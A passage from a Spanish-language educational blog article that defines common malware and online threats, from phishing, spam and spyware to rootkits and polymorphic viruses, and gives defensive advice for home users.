sitio de toda confianza, introduce la información solicitada que, en realidad, va a parar a manos del estafador. Existe un amplio abanico de software y aplicaciones de toda índole que quedan clasificados dentro de la categoría de robo de información personal o financiera, algunas de ellas realmente complejas, como el uso de una ventana Javascript flotante sobre la barra de direcciones del navegador con el fin de confundir al usuario. Para evitar este tipo de ataques, no debemos abrir enlaces de remitentes que desconozcamos o nos parezcan sospechosos, si el contenido del mensaje tiene faltas ortográficas, el mensaje está mezclado en dos o más lenguas, debemos tener la confianza de que el enlace que se nos pueda mostrar es de confianza. Nunca abrir un enlace con un clic del ratón desde el propio panel de correo, colocándonos encima del enlace en el navegador web que utilicemos nos avisará en la parte inferior (barra de complementos) hacia dónde nos redirige dicho enlace. Igualmente, si tenemos confianza en el sitio deberíamos seleccionar el enlace, copiarlo, y pegarlo en la barra de direcciones de una nueva pestaña o ventana del navegador. Si una vez dentro nos parece sospechoso a la hora de ingresar algún dato, cerramos la web y no proporcionamos ninguna información. Pharming: El Pharming es el aprovechamiento de una vulnerabilidad en el software de los servidores DNS (Domain Name System - Encargados de convertir direcciones IP en nombres) que permite a un atacante adquirir el nombre de dominio de un sitio, y redirigir el tráfico de la página Web original hacia la página Web falsa. Rogues, Scareware o FakesAVs (falsos antivirus): Los Rogue, Scareware o FakesAVs son sitios web o programas que simulan ser una aplicación de seguridad, generalmente gratuita, pero que en realidad instalan otros programas dañinos. Bajo la promesa de solucionar falsas infecciones, cuando el usuario instala estos programas, su sistema es infectado. Estos programas, que en la mayoría de los casos son falsos antivirus, no suelen realizar exploraciones reales, ni tampoco eliminan los virus del sistema si los tuviera, simplemente informan que se ha realizado con éxito la desinfección del equipo, aunque en realidad no se ha realizado ninguna acción, sino que ha sido infectado con el código malicioso que el atacante desarrollara para obtener algún beneficio. Para los delincuentes es sencillo desarrollar este tipo de software, ya que los programas sólo muestran unas pocas pantallas y unos cuantos mensajes falsos para engañar al usuario. Ransomware: Los Ransomware es un tipo de malware que mediante distintas técnicas imposibilita al usuario propio de un documento acceder al mismo. El modo más comúnmente utilizado es cifrar con clave dicho documento y dejar instrucciones al usuario para obtenerla, posterior al pago de \u0026ldquo;rescate\u0026rdquo;. Es una variante de los malwares tipo Rogue o FakesAVs. Hoax: Un Hoax (del inglés: engaño, bulo) es un mensaje de correo electrónico con contenido falso o engañoso y normalmente distribuido en cadena. Algunos informan sobre virus desastrosos, otros apelan a la solidaridad con un niño enfermo o cualquier otra noble causa, otros contienen fórmulas para hacerse millonario o crean cadenas de la suerte como las que existen por correo postal. Los objetivos que persigue quien inicia un hoax son: alimentar su ego, captar direcciones de correo y saturar la red o los servidores de correo. Frecuentemente, circulan por Internet falsos mensajes de alerta sobre virus, conocidos como Hoaxes o bulos. Su finalidad es generar alarma y confusión entre los usuarios. SPAM: Se define SPAM a los mensajes no solicitados, habitualmente de tipo publicitario, enviados en forma masiva. La vía más utilizada es la basada en el correo electrónico pero puede presentarse por programas de mensajería instantánea o por teléfono móvil. El término spam tiene su origen en el \u0026ldquo;jamón especiado\u0026rdquo; (SPiced hAM), primer producto de carne enlatada que no necesitaba frigorífico para su conservación. Debido a esto, su uso se generalizó, pasando a formar parte del rancho habitual de los ejércitos de Estados Unidos y Rusia durante la Segunda Guerra Mundial. Posteriormente, en 1969, el grupo de actores Monty Python protagonizó una popular escena, en la cual los clientes de una cafetería intentaban elegir de un menú en el que todos los platos contenían\u0026hellip;jamón especiado, mientras un coro de vikingos canta a voz en grito \u0026ldquo;spam, spam, spam, rico spam, maravilloso spam\u0026rdquo;. En resumen, el spam aparecía en todas partes, y ahogaba el resto de conversaciones. Haciendo un poco de historia, el primer caso de spam del que se tiene noticia es una carta enviada en 1978 por la empresa Digital Equipment Corporation. Esta compañía envió un anuncio sobre su ordenador DEC-20 a todos los usuarios de ArpaNet (precursora de Internet) de la costa occidental de los Estados Unidos. Sin embargo, la palabra spam no se adoptó hasta 1994, cuando en Usenet apareció un anuncio del despacho de los abogados Lawrence Canter y Martha Siegel. Informaban de su servicio para rellenar formularios de la lotería que da acceso a un permiso para trabajar en Estados Unidos. Este anuncio fue enviado mediante un script a todos los grupos de discusión que existían por aquel entonces. Algunas de las características más comunes que presentan este tipo de mensajes de correo electrónico son: La dirección que aparece como remitente del mensaje no resulta conocida para el usuario, y es habitual que esté falseada. El mensaje no suele tener dirección Reply (no se puede contestar). Presentan un asunto llamativo. El contenido es publicitario: anuncios de sitios web, fórmulas para ganar dinero fácilmente, productos milagro, ofertas inmobiliarias, o simplemente listados de productos en venta en promoción. La mayor parte del spam está escrito en inglés y se origina en Estados Unidos o Asia, pero empieza a ser común el spam en español. Aunque el método de distribución más habitual es el correo electrónico, existen diversas variantes, cada cual con su propio nombre asociado en función de su canal de distribución: Spam: enviado a través del correo electrónico. Spim: específico para aplicaciones del tipo Mensajería Instantánea (MSN Messenger, Yahoo Messenger, etc). Spit: spam sobre telefonía IP. La telefonía IP consiste en la utilización de Internet como medio de transmisión para realizar llamadas telefónicas. Spam SMS: spam destinado a enviarse a dispositivos móviles mediante SMS (Short Message Service). El spam es un fenómeno que va en aumento día a día, y representa un elevado porcentaje del tráfico de correo electrónico total. Además, a medida que surgen nuevas soluciones y tecnologías más efectivas para luchar contra el spam, los spammers (usuarios maliciosos que se dedican profesionalmente a enviar spam) se vuelven a su vez más sofisticados, y modifican sus técnicas con objeto de evitar las contramedidas desplegadas por los usuarios. ¿Cómo funciona? ¿Cómo se distribuye? Obtención de direcciones de correo Los spammers tratan de conseguir el mayor número posible de direcciones de correo electrónico válidas, es decir, realmente utilizadas por usuarios. Con este objeto, utilizan distintas técnicas, algunas de ellas altamente sofisticadas: Listas de correo: el spammer se da de alta en la lista de correo, y anota las direcciones del resto de miembros. Compra de bases de datos de usuarios a particulares o empresas: aunque este tipo de actividad es ilegal, en la práctica se realiza, y hay un mercado subyacente. Uso de robots (programas automáticos), que recorren Internet en busca de direcciones en páginas web, grupos de noticias, weblogs, etc. En las que pueda haber direcciones de correo electrónico. Técnicas de DHA (Directory Harvest Attack): el spammer genera direcciones de correo electrónico pertenecientes a un dominio específico, y envía mensajes a las mismas. El servidor de correo del dominio responderá con un error a las direcciones que no existan realmente, de modo que el spammer puede averiguar cuáles de las direcciones que ha generado son válidas. Las direcciones pueden componerse mediante un diccionario o mediante fuerza bruta, es decir, probando todas las combinaciones posibles de caracteres. Por lo tanto, todos los usuarios del correo electrónico corremos el riesgo de ser víctimas de estos intentos de ataques. Cualquier dirección pública en Internet (que haya sido utilizada en foros, grupos de noticias o en algún sitio web) será más susceptible de ser víctima del spam. Actualmente hay empresas que facturan millones de dólares al año recolectando direcciones de correo electrónico, vendiéndolas y enviándoles mensajes de promociones, ofertas, y publicidad no solicitada, pero con la sofisticación de que algunas saben lo que nos interesa y buscamos y nos envían publicidad relacionada, para caer más fácilmente en el engaño. Las recomendaciones para evitar el SPAM son las siguientes: No enviar mensajes en cadena ya que los mismos generalmente son algún tipo de engaño (hoax). Si aún así se deseara enviar mensajes a muchos destinatarios hacerlo siempre Con Copia Oculta (CCO), ya que esto evita que un destinatario vea (robe) el mail de los demás destinatarios. No publicar una dirección privada en sitios webs, foros, conversaciones online, etc. ya que sólo facilita la obtención de las mismas a los spammers (personas que envían spam). Si se desea navegar o registrarse en sitios de baja confianza hágalo con cuentas de emails destinadas para ese fin. Algunos servicios de webmail disponen de esta funcionalidad: protegemos nuestra dirección de email mientras podemos publicar otra cuenta y administrar ambas desde el mismo lugar. Para el mismo fin también es recomendable utilizar cuentas de correo temporales y descartables como las mencionadas al pie del presente. Nunca responder este tipo de mensajes ya que con esto sólo estamos confirmando nuestra dirección de email y sólo lograremos recibir más correo basura. Es bueno tener más de una cuenta de correo (al menos 2 o 3): una cuenta laboral que sólo sea utilizada para este fin, una personal y la otra para contacto público o de distribución masiva. Algunos filtros heurísticos de correo funcionan efectivamente previniendo gran cantidad de SPAM, pero ninguno funciona lo suficientemente bien como para olvidarnos de estos simples consejos que, utilizados correctamente, nos ayudarán a recibir menos correo no deseado. Otra característica negativa de los filtros es que algunos funcionan tan sensiblemente que terminan filtrando a la carpeta de correo de spam o no deseado el correo normal o que realmente nos interesa. Pero para ello grandes compañías como Gmail, Hotmail o Yahoo trabajan a diario para mejorar estos filtros. Adware: Se define como Adware al software que despliega publicidad de distintos productos o servicios. Estas aplicaciones incluyen código adicional que muestra la publicidad en ventanas emergentes (pop-up), o a través de una barra que aparece en la pantalla simulando ofrecer distintos servicios útiles para el usuario. Generalmente, estas aplicaciones agregan iconos gráficos en las barras de herramientas de los navegadores de Internet o en los clientes de correo. Estas barras de tareas personalizadas tienen palabras claves predefinidas para que el usuario llegue a sitios con publicidad, sea lo que sea que el mismo usuario esté buscando. También puede reflejarse en banners publicitarios, en la mayoría de los casos engaños, que hacen desplazamiento por la página web visitada. Spyware: Se define como Spyware o Software Espía a las aplicaciones que recopilan información sobre una persona u organización sin su conocimiento, ni consentimiento. El objetivo más común es distribuirlo a empresas publicitarias u otras organizaciones interesadas. Normalmente, estos software envían información a sus servidores, en función de los hábitos de navegación del usuario. También, recogen datos acerca de las webs que se visitan y la información que se solicita en esos sitios, así como direcciones IP y URLs que se navegan. Esta información es explotada para propósitos de mercadotecnia y muchas veces es el origen de otra plaga como el SPAM, ya que pueden encarar publicidad personalizada hacia el usuario afectado. Con estos datos, además, es posible crear perfiles estadísticos de los hábitos de los internautas. Los programas espías son aplicaciones informáticas que recopilan datos sobre los hábitos de navegación, preferencias y gustos del usuario. Los datos recogidos son transmitidos a los propios fabricantes o a terceros, bien directamente, bien después de ser almacenados en el ordenador. Las recomendaciones para evitar la instalación de este tipo de software son las siguientes: Verifique cuidadosamente los sitios por los que navega, ya que es muy común que estas aplicaciones auto-ofrezcan su instalación o que la misma sea ofrecida por empresas de dudosa reputación. Si es posible, lea atentamente las políticas de privacidad de estas aplicaciones. Generalmente incluyen puntos como \u0026ldquo;recolectamos la siguiente información del usuario\u0026rdquo; o \u0026ldquo;los daños que causa la aplicación no es nuestra responsabilidad\u0026rdquo; o \u0026ldquo;al instalar esta aplicación autorizas que entreguemos sus datos a\u0026hellip;\u0026rdquo;. Estas aplicaciones normalmente prometen ser barras con funcionalidades extras que se instalan sobre el explorador. Actualmente, se nota una importante aparición de aplicaciones que simulan ser software anti-spyware que en realidad contiene spyware. Una lista de los mismos puede ser encontrada en la dirección que se detalla al pie del presente. Cuando una aplicación intente instalarse sin que lo hayas solicitado, desconfíe y verifique la lista anterior. Es común que los sitios dedicados al underground o pornográficos, contengan un alto contenido de programas dañinos que explotando diversas vulnerabilidades del sistema operativo o del explorador, le permiten instalarse. Verificar los privilegios de usuarios. Es común que todos los usuarios que hacen uso del PC lo hagan con permisos administrativos. Esto no necesariamente debe ser así, es recomendable que cada usuario tenga su propio perfil, sólo con los permisos necesarios para realizar sus tareas y no estar con una sesión iniciada como root del sistema. Ya que esto disminuye el campo de acción de un posible intruso (virus, backdoor, usuario no autorizado, etc.). Estas aplicaciones evolucionan continuamente por lo que contar con un antivirus actualizado y con capacidades proactivas es fundamental para detectar estas aplicaciones y evitar su instalación. El spyware puede ser instalado en el sistema a través de numerosas vías, entre las que se encuentran: troyanos, que los instalan sin consentimiento del usuario; visitas a páginas web que contienen determinados controles ActiveX o código que explota una determinada vulnerabilidad; aplicaciones con licencia de tipo shareware o freeware descargadas de Internet, etc. El spyware puede ser instalado con el consentimiento del usuario y su plena conciencia, pero en ocasiones no es así. Lo mismo ocurre con el conocimiento de la recogida de datos y la forma en que son posteriormente utilizados. Lista de Antispyware sospechoso: http://www.spywarewarrior.com/rogue_anti-spyware.htm Este sitio ofrece una lista de software sospechoso. La lista es mantenida por Eric L. Howes profesor en la GSLIS (Graduate School of Library and Information Science) de la Universidad de Illinois, EE.UU. Dialer: Tratan de establecer conexión telefónica con un número de tarificación especial. Dialer es un programa que, sin el consentimiento del usuario, cuelga la conexión telefónica que se está utilizando en ese momento (la que permite el acceso a Internet, mediante el marcado de un determinado número de teléfono) y establece otra, marcando un número de teléfono de tarificación especial. Esto supondrá un notable aumento del importe en la factura telefónica. Los dialers no funcionan con conexiones ADSL y/o cable ya que este tipo de conexiones no realiza marcado para una conexión telefónica. Scumware: Estas aplicaciones infectan los sitios Web, a través de ordenadores y servidores, modificando su contenido y estructura sin permiso. El Scumware puede modificar nuestros banners de publicidad, agregar información falsa u ofensiva en nuestras páginas, añadir enlaces publicitarios sin permiso, etcétera. Lo que sería conocido como ataques \u0026ldquo;Website defacement\u0026rdquo; o \u0026ldquo;Defacing\u0026rdquo;. Hijacker: Se encargan de “Secuestrar” las funciones de nuestro sistema cambiando la página de inicio y búsqueda y/o otros ajustes del navegador. Estos pueden ser instalados en el sistema sin nuestro consentimiento al visitar ciertos sitios web mediante controles ActiveX o bien ser incluidos por un troyano. Joke: El objetivo de un Joke es crear algún efecto molesto o humorístico como una broma al ordenador del usuario. RootKit: Un RootKit es un programa o conjunto de programas que un intruso usa para esconder su presencia en un sistema integrándose ocultamente en otras aplicaciones, procesos, archivos, directorios, claves de registro. Abre puertos de nuestra máquina que al atacante le permitirá acceder en el futuro para acceso al sistema y así manipular el mismo. Para completar su objetivo, un Rootkit altera el flujo de ejecución del sistema operativo o manipula un conjunto de datos del sistema para evitar la auditoría. Un rootkit no es un exploit, es lo que el atacante usa después del exploit inicial. En algunos aspectos, un rootkit es más interesante que un Exploit, incluso que un 0-day. Un Exploit 0-day es una bala, pero un Rootkit puede decir mucho del atacante, como cuál era su motivación para disparar. Windows es diseñado con seguridad y estabilidad en mente. El núcleo (kernel) debe ser protegido de las aplicaciones de usuario, pero estas aplicaciones requieren cierta funcionalidad desde el kernel. Para proveer esto Windows implementa dos modos de ejecución: modo usuario y modo kernel. Windows hoy solo soporta esos dos modos, aunque las CPU Intel y AMD soportan cuatro modos de privilegios o anillos en sus chips para proteger el código y datos del sistema de sobreescrituras maliciosas o inadvertidas por parte de código de menor privilegio. Originalmente el término RootKit proviene de sistemas Unix y hacía referencia a pequeñas utilidades y herramientas que permitían acceso como \u0026ldquo;root\u0026rdquo; de esos sistemas. El término ha evolucionado y actualmente es un conjunto de herramientas utilizadas en cualquier sistema para conseguir acceder ilícitamente al mismo. Generalmente se los utiliza para ocultar procesos y programas que permiten acceso al sistema atacado, incluso tomar control de parte del mismo. Es importante remarcar que un Rootkit no es un Malware en sí mismo pero, debido a que es utilizado ampliamente para ocultar los mismos, muchas veces se lo considera incorrectamente como programa dañino. Actualmente, incluso son utilizados por ciertas empresas para controlar componentes del sistema y permitir o denegar su utilización. Hay que remarcar que el uso de estos programas es éticamente incorrecto (o incluso ilegal), ya que se hace sin la autorización expresa del usuario. Metodología de Infección y Clasificación de Virus/Malware: Link to heading A continuación detallo los métodos de trabajo que poseen los virus informáticos más conocidos y difundidos en la actualidad, con el fin de que se conozca más en profundidad su funcionamiento, su modo de infección y sus objetivos, y de esta manera estar mejor preparado ante una posible infección del PC. Bombas Lógicas: La particularidad más notoria de las bombas lógicas reside en que mientras no se cumplan ciertas condiciones, el virus no realizará ninguna acción destructiva, permaneciendo escondido al acecho de nuestros datos. Básicamente, una bomba lógica se compone de líneas de código insertadas dentro de otro programa, y tienen por finalidad destruir los datos de una computadora o causar otros importantes perjuicios. Entre los daños que las bombas lógicas pueden causarnos la eliminación total de los contenidos de la unidad del disco rígido, o acciones tales como mostrar un mensaje, reproducir una canción o el envío de un correo electrónico sin nuestro consentimiento, entre otros. Cabe destacar que su accionar puede llegar a ser extremadamente destructivo, ya que es uno de los más peligrosos de su tipo. Tipos de Virus: Link to heading Residente: Como su nombre lo indica, esta clase de virus poseen la particularidad de poder ocultarse en sectores de la memoria RAM del equipo y residir allí, controlando cualquier operación de entrada o salida de datos que lleve a cabo el sistema operativo. Su principal misión es la de infectar todos los archivos y programas que puedan ser llamados para su ejecución, ya sea para su copia, borrado o toda otra operación que pueda ser realizada con ellos. Mientras permanecen ocultos en la RAM de nuestra computadora, yacen latentes a la espera de cualquier evento que haya sido programado por su desarrollador para comenzar con su ataque. Esta reacción puede ser desencadenada, por ejemplo, al haberse cumplido un lapso de tiempo en una fecha u hora prevista. Acción Directa: La característica fundamental que define a los virus de tipo de Acción Directa es que no necesitan permanecer residentes en la memoria RAM de la computadora, ya que su método para comenzar con su ataque es esperar que se cumpla una determinada condición para activarse y poder replicarse y realizar la tarea para la cual fueron concebidos. Para poder lograr su infección, esta clase de virus realiza una búsqueda de todos los archivos existentes en su directorio. Además poseen la particularidad de buscar en los directorios que se listan en la línea PATH del archivo Autoexec.bat. Este tipo de virus poseen la particularidad de, tras una infección de archivos, estos ficheros pueden ser por completo restaurados, volviendo al estado anterior a su infección. Sobreescritura: Los virus del tipo de sobreescritura poseen la habilidad de destruir todo o parte del contenido de un archivo infectado por él, ya que cuando un fichero es infectado por el virus, este escribe datos dentro del mismo, dejando a este archivo total o parcialmente inútil. Una característica que define a este tipo de virus informático, es que los archivos no aumentarán de tamaño en caso de una infección, esto es debido a que el virus oculta su código reemplazando parte del código propio del archivo infectado. Este es uno de los virus más perjudiciales que circulan en la actualidad. Lamentablemente una de las pocas formas que existen de erradicar el virus, eliminando el archivo infectado, con la consiguiente pérdida de los datos escritos en él. Booting o Arranque: Como todos sabemos el sector de arranque o también conocido por MBR (Master Boot Record), es una zona del disco rígido donde reside el programa de carga para el inicio del sistema operativo. La clase de virus que ataca el sector de arranque no infectarán archivos, sino que su misión principal es replicarse en cualquier otro disco rígido que se encuentre a su alcance. Se trata de un virus del tipo residente, ya que cuando el mismo se encuentra activo en la memoria, uno de los aspectos más importantes al momento de determinar su existencia, es el notorio decaimiento de las cifras que arroja cualquier conteo de la memoria libre del sistema. Sin embargo, el código del virus no incorpora ninguna clase de rutina perjudicial, salvo la propia replicación del mismo. Macro: El principal motivo de creación de estos virus es la de poder infectar a todos aquellos archivos que tengan la posibilidad de ejecutar macros. Estas macros son pequeñas aplicaciones destinadas a facilitar la tarea del usuario mediante la automatización de ciertas y complejas operaciones que de otro modo serían demasiado tediosas de llevar a cabo. Estos micro-programas, al contener código ejecutable, también son propensos. El método de infección del cual hacen uso los virus de esta índole es simple, una vez cargado el archivo, estas macros se cargarán en memoria y el código se ejecutará produciéndose de esta forma la infección. Cabe destacar que gran parte de estas aplicaciones cuentan con una protección incorporada para esta clase de amenazas, si bien no siempre es efectiva. Además lo cierto es que la mayoría de estos virus no pueden atacar a todas las aplicaciones por igual, debido a que su código está escrito para atacar a un programa en particular. Los ejemplos más importantes de esta clase de ficheros son los documentos generados por Microsoft Word, cuya extensión es .doc y .docx, como así también los archivos de Microsoft Excel de extensión .xls y .xlsx, los ficheros de Microsoft Access con extensión .mdb, las presentaciones de Microsoft PowerPoint con extensión .pps, ppt, ppsx y pptx, también algunos ficheros realizados por CorelDraw .cdr entre otros. Enlace: Este tipo de virus tiene la facultad de modificar las direcciones específicas de ubicación de programas y archivos para comenzar su infección, es decir, los lugares en donde el sistema operativo buscará estos programas o archivos para su ejecución. El método de infección utilizado por este virus, como mencionamos, es alterar la ubicación de un determinado programa o fichero. Al momento de que el sistema operativo o el usuario del mismo necesite ejecutar este programa o fichero infectado, lo que en realidad sucede es la ejecución del código malicioso que porta el virus, produciéndose de este modo la infección de cualquier programa con extensión .exe o .com. Cabe destacar que cuando se produce una infección por virus de tipo de enlace, resulta prácticamente imposible la localización de los programas que han sido reemplazados por el accionar de los mismos. Encriptación: Los desarrolladores de esta peculiar clase de virus utilizan el método de cifrado por encriptación para lograr el objetivo de no ser descubiertos por las exploraciones que realizan las aplicaciones antivirus. Si bien no se trata estrictamente de un tipo de virus, es una denominación que se le otorga a cierta clase de técnica utilizada para el ocultamiento de los mismos. Esta denominación también es extensible a virus de otras categorías, tales como los virus de tipo polifórmico. Los virus de tipo de encriptación, tienen la capacidad de auto cifrarse, ocultándose de este modo a los intentos de los programas antivirus cuando realizan sus rutinas de escaneo del sistema. Para cumplir con la misión encomendada por su programador, el virus de encriptación se auto descifrará y una vez finalizada su tarea volverá a su anterior estado, es decir, se encriptará a sí mismo. Para acometer con su infección, los virus encriptados incorporan a su código los algoritmos necesarios para su cifrado y descifrado, debido a que el cifrado es una técnica que necesita de una clave para encriptarlo y desencriptarlo, la cual obviamente no posee el usuario que ha sido infectado. Cabe destacar que esta clase de virus sólo pueden ser descubiertos por los programas antivirus cuando se encuentran en ejecución. Polimórficos: Los virus polimórficos, una técnica muy sofisticada y que demanda mucho conocimiento por parte del desarrollador, son aquellos que poseen la habilidad de encriptarse de un modo diferente y variable con cada nueva infección que realizan. Su principal característica consiste en que con cada replicación, utilizan diferentes claves y algoritmos de encriptación, de modo que las cadenas que componen su código, una especie de firma para los sistemas antivirus, varían de tal forma que nunca lograrán concordar con las firmas existentes en las bases de datos que utilizan estos antivirus para su detección. Es decir, cada vez que se replican y encriptan van cambiando en forma secuencial. Cabe destacar que estos virus son los más difíciles de detectar y eliminar, ya que puede producir muchas y diferentes copias de sí mismo Debido a la utilización de esta complicada técnica, estos virus son capaces de generar gran cantidad de copias de sí mismos, pero nunca iguales. Multipartite: Podemos considerar, debido a los estudios y trabajos realizados por expertos en seguridad informática en todo el mundo, que este tipo de virus es actualmente uno de los más perjudiciales que cualquier usuario, tanto experto como novato, puede encontrar. Estos virus deben su peligrosidad al hecho de que pueden realizar, mediante la utilización conjunta de diferentes técnicas y métodos de ataque, múltiples y variadas infecciones. El objetivo principal de su existencia, es la posibilidad de destruir con su código a todos aquellos archivos y programas ejecutables que tenga la posibilidad de infectar. Entre los blancos preferidos de esta clase de virus podemos citar archivos, programas y aplicaciones, las macros que incorporan suites de ofimática como Microsoft Office, discos rígidos, unidades de almacenamiento extraíbles como: pendrives, tarjetas de memoria de todo tipo, etc. Cabe destacar que tras el ataque de un virus de tipo multiparte, los datos que contienen los elementos infectados serán imposibles de recuperar. Uniforme: Son aquellos virus que pueden replicarse a sí mismos en forma idéntica. Stealth o furtivo: Tienen la particularidad de poder ocultar al usuario los síntomas de la infección. Oligomórficos: Estos poseen sólo una reducida cantidad de funciones de encriptación y pueden elegir en forma aleatoria cuál de ellas puede utilizar. Metamórficos: Son aquellos que poseen la singularidad de reconstruir todo su código cada vez que se replican. Es importante señalar que esta clase de virus no suele encontrarse más allá de los límites de los laboratorios de investigación de malwares. Saludos! "}]